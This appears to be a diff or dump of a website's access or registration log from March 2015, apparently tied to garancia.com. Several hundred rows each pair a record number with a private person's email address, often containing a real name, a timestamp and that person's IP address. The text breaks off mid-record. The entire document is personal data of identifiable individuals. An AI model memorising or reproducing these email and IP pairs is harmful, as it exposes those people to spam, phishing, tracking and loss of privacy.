+5232;clementine.l@live.fr;2015-03-13 00:06:06;80.236.96.160 +5233;clementine.l@live.fr;2015-03-13 00:06:06;80.236.96.160 +5234;clementine.l@live.fr;2015-03-13 00:06:07;80.236.96.160 +5235;clementine.l@live.fr;2015-03-13 00:06:11;80.236.96.160 +5236;clementine.l@live.fr;2015-03-13 00:06:13;80.236.96.160 +5237;new@garancia.com;2015-03-13 03:30:25;92.128.58.250 +5238;new@garancia.com;2015-03-13 03:30:27;92.128.58.250 +5239;new@garancia.com;2015-03-13 03:30:28;92.128.58.250 +5240;new@garancia.com;2015-03-13 04:04:14;92.128.58.250 +5241;new@garancia.com;2015-03-13 04:04:18;92.128.58.250 +5242;celinecremieu@yahoo.fr;2015-03-13 06:37:16;78.239.131.110 +5243;celinecremieu@yahoo.fr;2015-03-13 06:37:18;78.239.131.110 +5244;sandrine.silva@orange.fr;2015-03-13 07:03:53;90.3.154.35 +5245;terititia@yahoo.fr;2015-03-13 08:00:07;92.154.94.52 +5246;terititia@yahoo.fr;2015-03-13 08:00:42;92.154.94.52 +5247;isa-belle59@hotmail.fr;2015-03-13 08:41:56;92.131.174.49 +5248;venusienne76@gmail.com;2015-03-13 09:24:28;82.67.80.209 +5249;isabelle.ramez1969@orange.fr;2015-03-13 09:51:07;83.198.127.106 +5250;francoise.jannin@orange.fr;2015-03-13 10:21:47;86.197.107.150 +5251;c.jacquemine@orange.fr;2015-03-13 10:22:27;90.8.91.21 +5252;vasquez.marie-helene@orange.fr;2015-03-13 10:25:12;109.220.81.120 +5253;vasquez.marie-helene@orange.fr;2015-03-13 10:25:47;109.220.81.120 +5254;vasquez.marie-helene@orange.fr;2015-03-13 10:26:45;109.220.81.120 +5255;looping.regnier@voila.fr;2015-03-13 10:27:04;92.139.177.20 +5256;frederic.laure.tissot@orange.fr;2015-03-13 10:33:44;90.56.123.154 +5257;vasquez.marie-helene@orange.fr;2015-03-13 10:34:08;109.220.81.120 +5258;vasquez.marie-helene@orange.fr;2015-03-13 10:35:56;109.220.81.120 +5259;alisonplazanet@gmail.com;2015-03-13 11:02:35;176.145.196.4 +5260;justinearnould51@gmail.com;2015-03-13 11:13:52;90.58.71.107 +5261;linda181077@live.fr;2015-03-13 11:18:14;31.36.132.139 +5262;linda181077@live.fr;2015-03-13 11:18:14;31.36.132.139 +5263;anaispurson@hotmail.fr;2015-03-13 11:30:01;77.245.136.82 +5264;josefarodriguez2012@hotmail.es;2015-03-13 11:42:36;84.77.91.177 +5265;new@garancia.com;2015-03-13 11:50:48;82.224.18.65 +5266;new@garancia.com;2015-03-13 11:51:04;82.224.18.65 +5267;new@garancia.com;2015-03-13 11:51:16;82.224.18.65 +5268;new@garancia.com;2015-03-13 11:51:19;82.224.18.65 +5269;new@garancia.com;2015-03-13 11:51:36;82.224.18.65 +5270;new@garancia.com;2015-03-13 11:51:40;82.224.18.65 +5271;new@garancia.com;2015-03-13 11:51:46;82.224.18.65 +5272;caroline_mansuy@yahoo.fr;2015-03-13 11:52:52;84.246.217.31 +5273;crete.amandine@gmail.com;2015-03-13 12:08:08;89.85.65.126 +5274;delune+test@antadis.com;2015-03-13 12:50:39;80.13.158.176 +5275;enilaroca@gmail.com;2015-03-13 12:54:34;193.191.228.254 +5276;bf.dechy@orange.fr;2015-03-13 13:30:57;212.23.172.233 +5277;new@garancia.com;2015-03-13 13:34:42;94.197.120.92 +5278;new@garancia.com;2015-03-13 13:34:46;94.197.120.92 +5279;new@garancia.com;2015-03-13 13:34:53;94.197.120.92 +5280;new@garancia.com;2015-03-13 13:35:04;94.197.120.92 +5281;thierrydehais@sfr.fr;2015-03-13 14:06:20;78.121.188.175 +5282;thierrydehais@sfr.fr;2015-03-13 14:06:20;78.121.188.175 +5283;catly.smso@orange.fr;2015-03-13 14:11:19;81.51.97.117 +5284;catly.smso@orange.fr;2015-03-13 14:11:23;81.51.97.117 +5285;catly.smso@orange.fr;2015-03-13 14:11:48;81.51.97.117 +5286;catly.smso@orange.fr;2015-03-13 14:12:05;81.51.97.117 +5287;catly.smso@orange.fr;2015-03-13 14:12:07;81.51.97.117 +5288;catly.smso@orange.fr;2015-03-13 14:12:27;81.51.97.117 +5289;catly.smso@orange.fr;2015-03-13 14:14:46;81.51.97.117 +5290;dupin.fbc@orange.fr;2015-03-13 14:23:57;90.13.159.67 +5291;bettina_guienne@yahoo.fr;2015-03-13 14:41:59;82.231.41.225 +5292;soniahanoi@hotmail.fr;2015-03-13 15:17:10;88.164.12.246 +5293;sophie.eeckman@voila.fr;2015-03-13 15:17:50;88.121.252.164 +5294;fanny.feyssel@orange.fr;2015-03-13 15:19:13;109.209.81.35 +5295;alclaveyrolas@hotmail.com;2015-03-13 15:19:24;82.123.25.252 +5296;s.marie04@gmail.com;2015-03-13 15:22:50;81.255.44.143 +5297;azadtaline@hotmail.fr;2015-03-13 15:23:20;82.216.137.73 +5298;dorothee.bulant@sfr.fr;2015-03-13 15:24:32;83.198.16.125 +5299;new@garancia.com;2015-03-13 15:27:05;86.196.89.177 +5300;new@garancia.com;2015-03-13 15:27:39;86.196.89.177 +5301;new@garancia.com;2015-03-13 15:28:01;86.196.89.177 +5302;new@garancia.com;2015-03-13 15:28:08;86.196.89.177 +5303;new@garancia.com;2015-03-13 15:28:27;86.196.89.177 +5304;alexandra.pechery@gmail.com;2015-03-13 15:28:29;90.35.117.232 +5305;new@garancia.com;2015-03-13 15:30:05;86.196.89.177 +5306;new@garancia.com;2015-03-13 15:30:08;86.196.89.177 +5307;new@garancia.com;2015-03-13 15:31:07;86.196.89.177 +5308;terititia@yahoo.fr;2015-03-13 15:32:57;92.154.94.52 +5309;kokobar4@hotmail.com;2015-03-13 15:33:15;195.101.49.81 +5310;new@garancia.com;2015-03-13 15:33:16;89.82.3.64 +5311;new@garancia.com;2015-03-13 15:33:19;89.82.3.64 +5312;new@garancia.com;2015-03-13 15:33:20;89.82.3.64 +5313;new@garancia.com;2015-03-13 15:33:21;89.82.3.64 +5314;sylvana.pacifico@orange.fr;2015-03-13 15:33:44;83.200.217.44 +5315;sylvana.pacifico@orange.fr;2015-03-13 15:33:45;83.200.217.44 +5316;new@garancia.com;2015-03-13 15:35:09;92.90.21.100 +5317;new@garancia.com;2015-03-13 15:35:12;92.90.21.100 +5318;julaye.m@gmail.com;2015-03-13 15:35:18;193.253.189.203 +5319;new@garancia.com;2015-03-13 15:36:55;86.196.89.177 +5320;new@garancia.com;2015-03-13 15:36:58;86.196.89.177 +5321;new@garancia.com;2015-03-13 15:37:01;86.196.89.177 +5322;christele.eliard@bbox.fr;2015-03-13 15:41:17;145.226.158.82 +5323;caropeytavi@hotmail.fr;2015-03-13 15:43:58;93.20.174.179 +5324;new@garancia.com;2015-03-13 15:45:38;86.196.89.177 +5325;new@garancia.com;2015-03-13 15:45:41;86.196.89.177 +5326;new@garancia.com;2015-03-13 15:45:43;86.196.89.177 +5327;new@garancia.com;2015-03-13 15:45:45;86.196.89.177 +5328;new@garancia.com;2015-03-13 15:46:34;86.196.89.177 +5329;caroline.plat@gmail.com;2015-03-13 15:51:43;89.107.173.228 +5330;madranna@wanadoo.fr;2015-03-13 15:54:45;89.83.122.93 +5331;guy.wallart@orange.fr;2015-03-13 15:55:08;92.152.54.175 +5332;claude.foucher45@sfr.fr;2015-03-13 15:57:58;88.140.24.125 +5333;chrystelelebrun@orange.fr;2015-03-13 15:59:19;90.54.134.65 +5334;guy.wallart@orange.fr;2015-03-13 16:01:08;92.152.54.175 +5335;guy.wallart@orange.fr;2015-03-13 16:01:39;92.152.54.175 +5336;new@garancia.com;2015-03-13 16:03:38;86.196.89.177 +5337;pharmacielaunemoner@orange.fr;2015-03-13 16:09:58;90.57.205.207 +5338;pharmacielaunemoner@orange.fr;2015-03-13 16:10:47;90.57.205.207 +5339;lequement.anne@voila.fr;2015-03-13 16:11:33;194.51.35.77 +5340;pharmacielaunemoner@orange.fr;2015-03-13 16:11:52;90.57.205.207 +5341;pharmacielaunemoner@orange.fr;2015-03-13 16:12:12;90.57.205.207 +5342;pharmacielaunemoner@orange.fr;2015-03-13 16:13:18;90.57.205.207 +5343;laurent.bonnetg@laposte.net;2015-03-13 16:14:37;213.245.53.195 +5344;laurent.bonnetg@laposte.net;2015-03-13 16:14:37;213.245.53.195 +5345;mariejaffal@hotmail.com;2015-03-13 16:17:10;195.70.11.90 +5346;alexandra.merry11@gmail.com;2015-03-13 16:21:36;217.108.200.65 +5347;lipp@orange.fr;2015-03-13 16:21:41;90.23.39.82 +5348;new@garancia.com;2015-03-13 16:22:48;86.196.89.177 +5349;new@garancia.com;2015-03-13 16:22:51;86.196.89.177 +5350;new@garancia.com;2015-03-13 16:22:53;86.196.89.177 +5351;francoise.freiche@yahoo.fr;2015-03-13 16:26:30;83.114.51.201 +5352;piadoraaa@msn.com;2015-03-13 16:40:18;84.246.217.23 +5353;celinepalley@yahoo.fr;2015-03-13 16:50:20;82.127.122.16 +5354;goncalves_bernadette@orange.fr;2015-03-13 16:56:10;90.13.23.174 +5355;goncalves_bernadette@orange.fr;2015-03-13 16:56:15;90.13.23.174 +5356;lipp@orange.fr;2015-03-13 17:00:58;90.23.39.82 +5357;valifil@free.fr;2015-03-13 17:05:23;81.56.81.77 +5358;emma.croidieu@hotmail.com;2015-03-13 17:06:06;77.194.105.186 +5359;emma.croidieu@hotmail.com;2015-03-13 17:06:14;77.194.105.186 +5360;magali.gamet@wanadoo.fr;2015-03-13 17:12:48;90.8.245.112 +5361;e.c.campi@sfr.fr;2015-03-13 17:22:36;77.206.65.21 +5362;paraland-01@orange.fr;2015-03-13 17:34:02;92.137.216.143 +5363;new@garancia.com;2015-03-13 17:38:05;88.120.225.4 +5364;new@garancia.com;2015-03-13 17:38:09;88.120.225.4 +5365;new@garancia.com;2015-03-13 17:38:20;88.120.225.4 +5366;or.elya@hotmail.fr;2015-03-13 17:49:15;92.139.255.172 +5367;or.elya@hotmail.fr;2015-03-13 17:49:21;92.139.255.172 +5368;sylvie51.grandjean@wanadoo.fr;2015-03-13 17:49:57;90.7.129.114 +5369;fick.audrey@gmail.com;2015-03-13 18:03:29;92.150.63.240 +5370;marinade01@gmail.com;2015-03-13 18:04:26;88.171.64.17 +5371;vero63@laposte.net;2015-03-13 18:24:11;78.214.186.126 +5372;vero63@laposte.net;2015-03-13 18:24:12;78.214.186.126 +5373;cerise2288@outlook.fr;2015-03-13 19:13:04;83.155.103.127 +5374;sophie521@live.fr;2015-03-13 19:26:04;90.22.5.99 +5375;atikalou@hotmail.com;2015-03-13 20:29:47;83.157.243.10 +5376;atikalou@hotmail.com;2015-03-13 20:29:56;83.157.243.10 +5377;bibou6430@gmail.com;2015-03-13 20:48:07;92.92.183.99 +5378;ptitpims1@live.fr;2015-03-13 21:11:42;90.58.5.117 +5379;j.aline2570@mail.com;2015-03-13 21:13:42;109.217.211.144 +5380;j.aline2570@gmail.com;2015-03-13 21:14:06;109.217.211.144 +5381;j.aline2570@gmail.com;2015-03-13 21:14:06;109.217.211.144 +5382;melody.van.e@gmail.com;2015-03-13 21:21:30;62.235.252.104 +5383;barre.or@gmail.com;2015-03-13 21:24:16;78.246.27.138 +5384;toparcste@gmail.com;2015-03-13 21:24:36;89.214.53.92 +5385;kairemel@hotmail.com;2015-03-13 21:46:44;88.124.14.120 +5386;monica@diottiarredamenti.it;2015-03-13 22:03:50;82.56.46.43 +5387;feuillatrevirginie@gmail.com;2015-03-13 22:34:05;193.56.244.27 +5388;feuillatrevirginie@gmail.com;2015-03-13 22:34:14;193.56.244.27 +5389;feuillatrevirginie@gmail.com;2015-03-13 22:34:21;193.56.244.27 +5390;feuillatrevirginie@gmail.com;2015-03-13 22:34:38;193.56.244.27 +5391;feuillatrevirginie@gmail.com;2015-03-13 22:34:42;193.56.244.27 +5392;feuillatrevirginie@gmail.com;2015-03-13 22:34:44;193.56.244.27 +5393;feuillatrevirginie@gmail.com;2015-03-13 22:34:46;193.56.244.27 +5394;bbperrier@gmail.com;2015-03-13 22:43:28;83.154.12.150 +5395;new@garancia.com;2015-03-13 22:51:19;80.12.55.48 +5396;new@garancia.com;2015-03-13 22:51:26;80.12.55.48 +5397;new@garancia.com;2015-03-13 22:52:02;80.12.55.48 +5398;lesptiskachotiers@gmail.com;2015-03-13 23:58:05;91.88.64.227 +5399;floreal72@live.fr;2015-03-14 00:05:03;81.51.248.239 +5400;Sandy1508@orange.fr;2015-03-14 00:37:55;90.39.143.194 +5401;savignacmarie@laposte.net;2015-03-14 02:20:05;82.232.184.122 +5402;savignacmarie@laposte.net;2015-03-14 02:20:10;82.232.184.122 +5403;sandrinana@bluewin.ch;2015-03-14 05:31:48;178.197.227.147 +5404;sandrinana@bluewin.ch;2015-03-14 05:31:53;178.197.227.147 +5405;sandrinana@bluewin.ch;2015-03-14 05:32:15;178.197.227.147 +5406;sandrinana@bluewin.ch;2015-03-14 05:33:15;178.197.227.147 +5407;graziani-mc@voila.fr;2015-03-14 08:15:20;83.156.110.8 +5408;patricia.gosset@orange.fr;2015-03-14 08:21:18;92.152.243.183 +5409;patricia.gosset@orange.fr;2015-03-14 08:21:21;92.152.243.183 +5410;claire.fanien@free.fr;2015-03-14 08:39:23;82.231.101.191 +5411;eve15@live.fr;2015-03-14 09:09:40;90.15.175.148 +5412;new@garancia.com;2015-03-14 09:19:13;92.131.71.68 +5413;new@garancia.com;2015-03-14 09:19:16;92.131.71.68 +5414;new@garancia.com;2015-03-14 09:19:27;92.131.71.68 +5415;Francishatert@yahoo.fr;2015-03-14 09:22:23;91.180.24.53 +5416;Francishatert@yahoo.fr;2015-03-14 09:22:31;91.180.24.53 +5417;Francishatert@yahoo.fr;2015-03-14 09:23:55;91.180.24.53 +5418;deborah.lelong@yahoo.fr;2015-03-14 09:24:53;90.96.131.131 +5419;new@garancia.com;2015-03-14 09:36:25;92.131.71.68 +5420;new@garancia.com;2015-03-14 09:36:27;92.131.71.68 +5421;new@garancia.com;2015-03-14 09:36:28;92.131.71.68 +5422;new@garancia.com;2015-03-14 09:36:30;92.131.71.68 +5423;baillot.veronique@wanadoo.fr;2015-03-14 09:41:07;90.58.245.147 +5424;mpc.pellegrino@free.fr;2015-03-14 09:46:25;88.163.201.112 +5425;elisabeh.lebrere@free.fr;2015-03-14 09:52:23;88.170.174.145 +5426;trucbiduleetlibellule@gmail.com;2015-03-14 10:04:45;82.241.252.103 +5427;nathaliepacot@yahoo.fr;2015-03-14 10:44:36;88.172.226.218 +5428;spiraelle@live.fr;2015-03-14 11:08:35;86.202.192.190 +5429;zhaoying_fr@msn.com;2015-03-14 11:09:19;82.235.105.207 +5430;claudine.legoff29@gmail.com;2015-03-14 11:17:22;109.218.31.208 +5431;claudine.legoff29@gmail.com;2015-03-14 11:20:02;109.218.31.208 +5432;claudine.legoff29@gmail.com;2015-03-14 11:20:18;109.218.31.208 +5433;claudine.legoff29@gmail.com;2015-03-14 11:20:53;109.218.31.208 +5434;claudine.legoff29@gmail.com;2015-03-14 11:25:09;109.218.31.208 +5435;claudine.legoff29@gmail.com;2015-03-14 11:25:14;109.218.31.208 +5436;claude.calmel@orange.fr;2015-03-14 11:56:50;90.5.226.100 +5437;pharell.aaron@hotmail.fr;2015-03-14 12:11:32;92.92.240.56 +5438;genefab@outlook.fr;2015-03-14 12:28:50;212.83.146.239 +5439;lenoir.ln@free.fr;2015-03-14 12:33:49;88.165.27.185 +5440;aurore-le-roux@hotmail.fr;2015-03-14 12:36:10;2.1.215.99 +5441;new@garancia.com;2015-03-14 12:49:10;78.202.96.18 +5442;new@garancia.com;2015-03-14 12:49:14;78.202.96.18 +5443;new@garancia.com;2015-03-14 12:49:17;78.202.96.18 +5444;new@garancia.com;2015-03-14 12:49:19;78.202.96.18 +5445;new@garancia.com;2015-03-14 12:49:23;78.202.96.18 +5446;anneleroux@voila.fr;2015-03-14 12:49:52;78.202.96.18 +5447;new@garancia.com;2015-03-14 12:49:56;78.202.96.18 +5448;new@garancia.com;2015-03-14 12:50:52;78.202.96.18 +5449;new@garancia.com;2015-03-14 12:51:09;78.202.96.18 +5450;new@garancia.com;2015-03-14 12:52:32;78.202.96.18 +5451;new@garancia.com;2015-03-14 12:52:53;78.202.96.18 +5452;new@garancia.com;2015-03-14 12:52:55;78.202.96.18 +5453;new@garancia.com;2015-03-14 12:52:57;78.202.96.18 +5454;new@garancia.com;2015-03-14 12:52:59;78.202.96.18 +5455;new@garancia.com;2015-03-14 12:54:27;78.202.96.18 +5456;noemie.canelle-77@hotmail.fr;2015-03-14 13:01:16;86.198.9.89 +5457;monica.dellali@orange.fr;2015-03-14 13:06:06;90.39.12.46 +5458;monica.dellali@orange.fr;2015-03-14 13:06:07;90.39.12.46 +5459;anneleroux@voila.fr;2015-03-14 13:20:35;78.202.96.18 +5460;mlfarret@gmail.com;2015-03-14 13:53:15;77.129.16.46 +5461;JEANPBOISSARD@YAHOO.FR;2015-03-14 14:01:39;88.122.45.236 +5462;monique.helm@dartybox.com;2015-03-14 14:05:56;83.114.46.33 +5463;lauracora@libero.it;2015-03-14 14:30:15;87.8.168.21 +5464;brunehaut@ymail.com;2015-03-14 14:31:59;77.133.44.61 +5465;y.baisin@orange.fr;2015-03-14 14:49:36;90.41.144.80 +5466;colines@aol.com;2015-03-14 14:56:17;109.26.9.93 +5467;nicole.martin34@sfr.fr;2015-03-14 15:05:11;77.203.101.83 +5468;nicole.martin34@sfr.fr;2015-03-14 15:05:37;77.203.101.83 +5469;nicole.martin34@sfr.fr;2015-03-14 15:06:04;77.203.101.83 +5470;suzanne.naturale@wanadoo.fr;2015-03-14 15:44:10;88.187.174.10 +5471;verodelabriere@gmail.com;2015-03-14 15:51:41;31.36.42.24 +5472;suzanne.naturale@wanadoo.fr;2015-03-14 15:52:05;88.187.174.10 +5473;suzanne.naturale@wanadoo.fr;2015-03-14 15:52:17;88.187.174.10 +5474;suzanne.naturale@wanadoo.fr;2015-03-14 15:52:39;88.187.174.10 +5475;suzanne.naturale@wanadoo.fr;2015-03-14 15:55:32;88.187.174.10 +5476;suzanne.naturale@wanadoo.fr;2015-03-14 15:56:38;88.187.174.10 +5477;suzanne.naturale@wanadoo.fr;2015-03-14 15:57:23;88.187.174.10 +5478;suzanne.naturale@wanadoo.fr;2015-03-14 15:58:34;88.187.174.10 +5479;suzanne.naturale@wanadoo.fr;2015-03-14 16:00:21;88.187.174.10 +5480;suzanne.naturale@wanadoo.fr;2015-03-14 16:01:08;88.187.174.10 +5481;suzanne.naturale@wanadoo.fr;2015-03-14 16:01:32;88.187.174.10 +5482;suzanne.naturale@wanadoo.fr;2015-03-14 16:01:39;88.187.174.10 +5483;suzanne.naturale@wanadoo.fr;2015-03-14 16:02:14;88.187.174.10 +5484;new@garancia.com;2015-03-14 16:48:02;86.194.159.164 +5485;new@garancia.com;2015-03-14 16:48:06;86.194.159.164 +5486;new@garancia.com;2015-03-14 16:52:48;109.208.23.60 +5487;new@garancia.com;2015-03-14 16:52:51;109.208.23.60 +5488;new@garancia.com;2015-03-14 16:52:54;109.208.23.60 +5489;new@garancia.com;2015-03-14 16:53:05;109.208.23.60 +5490;new@garancia.com;2015-03-14 16:53:11;109.208.23.60 +5491;helenenoha@hotmail.fr;2015-03-14 16:54:41;86.194.159.164 +5492;new@garancia.com;2015-03-14 16:54:44;86.194.159.164 +5493;new@garancia.com;2015-03-14 16:54:49;86.194.159.164 +5494;new@garancia.com;2015-03-14 16:54:50;86.194.159.164 +5495;helenenoha@hotmail.fr;2015-03-14 16:55:09;86.194.159.164 +5496;new@garancia.com;2015-03-14 16:56:30;109.208.23.60 +5497;new@garancia.com;2015-03-14 16:56:35;109.208.23.60 +5498;new@garancia.com;2015-03-14 17:08:48;109.208.23.60 +5499;camille.caillot@gmail.com;2015-03-14 17:11:17;82.224.18.65 +5500;new@garancia.com;2015-03-14 17:11:48;86.194.159.164 +5501;new@garancia.com;2015-03-14 17:12:13;86.194.159.164 +5502;carole.marot@yahoo.fr;2015-03-14 17:19:19;194.206.205.146 +5503;didier-isa@hotmail.fr;2015-03-14 17:20:05;83.192.5.250 +5504;lilirose929@hotmail.fr;2015-03-14 17:20:13;83.192.5.250 +5505;hugo221@hotmail.fr;2015-03-14 17:20:21;83.192.5.250 +5506;hugo221@hotmail.fr;2015-03-14 17:20:21;83.192.5.250 +5507;pharmacie.pouillon@perso.alliadis.net;2015-03-14 17:22:35;194.5.134.161 +5508;petit.marielaure@yahoo.fr;2015-03-14 17:38:13;82.235.196.163 +5509;phietiteca@perso.alliadis.net;2015-03-14 17:46:57;90.58.47.170 +5510;hd73@hotmail.fr;2015-03-14 18:57:57;92.129.200.54 +5511;new@garancia.com;2015-03-14 19:05:09;86.196.89.177 +5512;new@garancia.com;2015-03-14 19:05:11;86.196.89.177 +5513;new@garancia.com;2015-03-14 19:05:30;86.196.89.177 +5514;new@garancia.com;2015-03-14 19:15:45;86.196.89.177 +5515;christohe.heisser@neuf.fr;2015-03-14 20:30:37;86.63.248.121 +5516;maryse.corvec@wanadoo.fr;2015-03-14 20:49:04;78.112.151.240 +5517;lucine.niay@laposte.net;2015-03-14 21:30:58;90.58.82.130 +5518;slemaire464@gmail.com;2015-03-14 21:45:39;78.242.195.26 +5519;annie.teranga@gmail.com;2015-03-14 22:39:10;83.201.154.155 +5520;fabrice.daffaut@wanadoo.fr;2015-03-14 22:40:41;92.144.71.176 +5521;fabrice.daffaut@wanadoo.fr;2015-03-14 22:41:27;92.144.71.176 +5522;fabrice.daffaut@wanadoo.fr;2015-03-14 22:43:59;92.144.71.176 +5523;fabrice.daffaut@wanadoo.fr;2015-03-14 22:44:36;92.144.71.176 +5524;hasliad@gmail.com;2015-03-14 22:45:21;77.205.90.97 +5525;beauvallet_barbara@bbox.fr;2015-03-14 23:04:27;89.89.53.239 +5526;annie.teranga@gmail.com;2015-03-14 23:16:30;83.201.154.155 +5527;mennella.vanina@gmail.com;2015-03-15 00:32:53;84.7.207.198 +5528;poitevincharlotte@ymail.com;2015-03-15 00:51:04;89.81.59.176 +5529;maelhenry@orange.fr;2015-03-15 07:59:05;109.212.110.169 +5530;maelhenry@orange.fr;2015-03-15 07:59:10;109.212.110.169 +5531;new@garancia.com;2015-03-15 09:12:01;86.196.89.177 +5532;new@garancia.com;2015-03-15 09:12:08;86.196.89.177 +5533;sylvielustig@orange.fr;2015-03-15 09:43:43;93.9.81.24 +5534;v.morgo@orange.fr;2015-03-15 09:44:53;86.202.107.163 +5535;martine.chevalier68@sfr.fr;2015-03-15 10:19:59;79.80.70.234 +5536;soulas.pauline@live.fr;2015-03-15 10:21:01;90.20.42.190 +5537;soulas.pauline@live.fr;2015-03-15 10:21:01;90.20.42.190 +5538;martine.cheviilard@wanadoo.fr;2015-03-15 10:24:52;83.194.228.237 +5539;natacha.bolmont@laposte.net;2015-03-15 10:34:06;90.3.9.242 +5540;Laju.del74@gmail.com;2015-03-15 10:39:03;89.91.172.89 +5541;fatmi.alicia@hotmail.fr;2015-03-15 10:40:54;5.51.0.45 +5542;meunier.sylla@wanadoo.fr;2015-03-15 10:41:36;90.62.254.108 +5543;lowrain76@gmail.com;2015-03-15 10:43:33;82.238.235.209 +5544;lowrain76@gmail.com;2015-03-15 10:43:35;82.238.235.209 +5545;delfinegalerieandrehayat@gmail.com;2015-03-15 10:47:39;92.151.39.236 +5546;catherine.giraud@gmail.com;2015-03-15 10:48:00;85.170.20.52 +5547;catherine.giraud@gmail.com;2015-03-15 10:48:03;85.170.20.52 +5548;new@garancia.com;2015-03-15 10:48:18;85.170.20.52 +5549;new@garancia.com;2015-03-15 10:48:23;85.170.20.52 +5550;new@garancia.com;2015-03-15 10:48:27;85.170.20.52 +5551;new@garancia.com;2015-03-15 10:48:29;85.170.20.52 +5552;catherine.giraud@gmail.com;2015-03-15 10:49:26;85.170.20.52 +5553;catherine.giraud@gmail.com;2015-03-15 10:49:34;85.170.20.52 +5554;catherine.giraud@gmail.com;2015-03-15 10:49:39;85.170.20.52 +5555;new@garancia.com;2015-03-15 10:50:00;85.170.20.52 +5556;new@garancia.com;2015-03-15 10:50:03;85.170.20.52 +5557;new@garancia.com;2015-03-15 10:50:07;85.170.20.52 +5558;new@garancia.com;2015-03-15 10:50:08;85.170.20.52 +5559;new@garancia.com;2015-03-15 10:50:10;85.170.20.52 +5560;new@garancia.com;2015-03-15 10:50:22;85.170.20.52 +5561;new@garancia.com;2015-03-15 10:50:25;85.170.20.52 +5562;catherine.giraud@gmail.com;2015-03-15 10:50:59;85.170.20.52 +5563;zafus@me.com;2015-03-15 10:51:26;83.113.63.153 +5564;fruitdelapassion68@gmail.com;2015-03-15 11:19:27;91.179.20.79 +5565;fruitdelapassion68@gmail.com;2015-03-15 11:20:29;91.179.20.79 +5566;fruitdelapassion68@gmail.com;2015-03-15 11:20:40;91.179.20.79 +5567;fruitdelapassion68@gmail.com;2015-03-15 11:21:21;91.179.20.79 +5568;fruitdelapassion68@gmail.com;2015-03-15 11:23:21;91.179.20.79 +5569;new@garancia.com;2015-03-15 11:23:59;109.19.240.95 +5570;new@garancia.com;2015-03-15 11:24:02;109.19.240.95 +5571;mathieu.aline@free.fr;2015-03-15 11:51:01;82.231.255.162 +5572;karinedevroe@gmail.com;2015-03-15 11:57:57;83.198.29.85 +5573;josiane.devaux@hotmail.fr;2015-03-15 11:58:09;86.193.68.241 +5574;sylvielustig@orange.fr;2015-03-15 12:18:03;93.9.81.24 +5575;sandraf80@hotmail.fr;2015-03-15 12:26:33;77.130.51.216 +5576;gilberte.pignon@waika9.com;2015-03-15 13:15:02;88.170.12.8 +5577;gilberte.pignon@waika9.com;2015-03-15 13:15:15;88.170.12.8 +5578;valbip77@aim.com;2015-03-15 13:24:59;88.142.174.81 +5579;new@garancia.com;2015-03-15 13:30:02;90.19.250.96 +5580;new@garancia.com;2015-03-15 13:30:05;90.19.250.96 +5581;monique.cheli@orange.fr;2015-03-15 14:04:51;90.96.137.53 +5582;desbonnet.adeline@orange.fr;2015-03-15 14:05:18;86.207.54.161 +5583;petrucci.vivi.@gmail.com;2015-03-15 14:14:19;176.188.184.145 +5584;new@garancia.com;2015-03-15 14:14:32;176.188.184.145 +5585;josiane.devaux@hotmail.fr;2015-03-15 14:42:17;86.193.68.241 +5586;josiane.devaux@hotmail.fr;2015-03-15 14:42:23;86.193.68.241 +5587;josiane.devaux@hotmail.fr;2015-03-15 14:42:23;86.193.68.241 +5588;carrepatricia@hotmail.fr;2015-03-15 15:09:58;78.231.145.148 +5589;carrepatricia@hotmail.fr;2015-03-15 15:09:58;78.231.145.148 +5590;suzanne.naturale@wanadoo.fr;2015-03-15 16:11:14;88.187.174.10 +5591;alvaro170412@gmail.com;2015-03-15 16:12:14;176.187.10.95 +5592;virginie.taldir@gmail.com;2015-03-15 16:22:27;109.212.163.8 +5593;dominique.bellet8@orange.fr;2015-03-15 16:28:50;83.200.131.98 +5594;sylvie.kalis@orange.fr;2015-03-15 16:49:28;83.194.139.95 +5595;sylvie.kalis@orange.fr;2015-03-15 16:49:30;83.194.139.95 +5596;new@garancia.com;2015-03-15 16:49:33;83.194.139.95 +5597;new@garancia.com;2015-03-15 16:49:38;83.194.139.95 +5598;new@garancia.com;2015-03-15 16:55:06;86.196.89.177 +5599;emmmmarobinson@gmail.com;2015-03-15 17:17:42;83.198.208.85 +5600;mhmarchante@yahoo.fr;2015-03-15 17:28:30;88.170.220.124 +5601;garinet.jean-luc@wanadoo.fr;2015-03-15 17:37:56;90.29.140.158 +5602;eric.le_tiec@club-internet.fr;2015-03-15 17:58:20;81.251.80.245 +5603;danielleodin@orange.fr;2015-03-15 18:04:07;109.223.249.40 +5604;dom.leclercq6@orange.fr;2015-03-15 18:20:55;78.219.196.10 +5605;Chantal.gnnd@aliceadsl.fr;2015-03-15 18:27:24;92.145.224.9 +5606;Chantal.gnnd@aliceadsl.fr;2015-03-15 18:27:34;92.145.224.9 +5607;lavoix.lourmet@wanadoo.fr;2015-03-15 18:54:37;90.5.208.16 +5608;delphine.vazzano@free.fr;2015-03-15 18:58:21;82.246.120.143 +5609;lefevreludivine@yahoo.fr;2015-03-15 19:19:22;86.210.36.23 +5610;Patricialefevre@hotmail.com;2015-03-15 20:08:37;109.22.192.85 +5611;new@garancia.com;2015-03-15 20:18:34;88.171.91.112 +5612;new@garancia.com;2015-03-15 20:18:42;88.171.91.112 +5613;new@garancia.com;2015-03-15 20:18:49;88.171.91.112 +5614;new@garancia.com;2015-03-15 20:19:01;88.171.91.112 +5615;new@garancia.com;2015-03-15 20:19:09;88.171.91.112 +5616;jac-brunet-remy@orange.fr;2015-03-15 20:51:00;90.54.48.119 +5617;clarissefraye@yahoo.fr;2015-03-15 21:01:03;86.196.89.177 +5618;annaelle.violleau@hotmail.fr;2015-03-15 21:08:44;92.156.22.29 +5619;sarah.sponton@yahoo.fr;2015-03-15 21:30:15;90.20.147.89 +5620;vbagcharles@orange.fr;2015-03-15 21:31:13;90.20.149.108 +5621;sarah.sponton@yahoo.fr;2015-03-15 21:31:30;90.20.147.89 +5622;anne.basterretxea-guitard@orange.fr;2015-03-15 21:32:01;109.220.208.224 +5623;elisabeth.guillou@hotmail.fr;2015-03-15 22:10:01;90.25.225.21 +5624;cordeaus@wanadoo.fr;2015-03-15 22:18:42;90.39.172.53 +5625;linda-zouggar@hotmail.fr;2015-03-15 22:29:48;82.244.122.15 +5626;cecilhat@wanadoo.fr;2015-03-16 00:48:17;81.251.230.59 +5627;cecilhat@wanadoo.fr;2015-03-16 00:48:23;81.251.230.59 +5628;infoanacron@mail.ru;2015-03-16 03:09:05;178.123.159.8 +5629;annie.hautesserre@wanadoo.fr;2015-03-16 07:47:21;90.55.124.148 +5630;annie.hautesserre@wanadoo.fr;2015-03-16 